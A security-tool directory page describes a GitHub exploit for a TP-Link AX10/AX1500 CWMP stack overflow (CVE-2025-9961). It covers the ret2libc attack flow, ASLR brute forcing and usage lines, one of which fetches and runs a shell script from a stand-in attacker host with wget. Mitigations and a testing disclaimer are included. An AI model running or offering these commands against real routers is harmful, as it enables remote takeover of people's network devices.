Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-9961 | Kitploit
Tools/GitHubGitHub/yt2w/cve-2025-9961
Embedded Systems SecurityIoT SecurityVulnerability AnalysisExploitationPenetration TestingHardware SecurityRemote Access ToolBinary Exploitation
GitHubyt2w/cve-2025-9961

CVE-2025-9961

View Repository
617 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-9961

TP-Link AX10/AX1500 CWMP Buffer Overflow RCE

Overview

Stack-based buffer overflow in CWMP (TR-069) leading to remote code execution.

FieldValue
ProductTP-Link AX10, AX1500
AffectedAX10 < 1.2.1, AX1500 < 1.3.11
CVSS8.6 (High)
TypeStack Buffer Overflow
VectorCWMP/TR-069 (port 7547)
ImpactRemote Code Execution

Attack Flow

root@kitploit:~
flowchart LR
    A[Attacker] --> B["Malicious ACS"]
    B --> C["SetParameterValues"]
    C --> D["Stack Overflow"]
    D --> E["Overwrite PC"]
    E --> F["ret2libc"]
    F --> G["system()"]
    G --> H["RCE"]

Technical Details

The vulnerability is in the cwmp process handling of SetParameterValues SOAP requests. Input is used to calculate buffer size without bounds checking.

Exploitation:

  • Use ret2libc to call system()
  • ASLR bypass via brute force
  • Service restarts allow repeated attempts

Usage

root@kitploit:~
python exploit.py <target_ip> --check-only

python exploit.py 192.168.0.1 --dos

python exploit.py 192.168.0.1 -c "wget http://attacker/shell.sh -O /tmp/s; sh /tmp/s"

Parameters

Requirements

None (uses standard library)

Mitigation

  • Update to patched firmware
  • Disable TR-069/CWMP
  • Restrict port 7547 access

Disclaimer

For authorized security testing only.

Download Tool
FlagDescriptionDefault
-p, --portCWMP port7547
-c, --commandCommand for RCEnone
-t, --timeoutSocket timeout10
--dosDoS mode onlyoff
--check-onlyCheck if vulnerableoff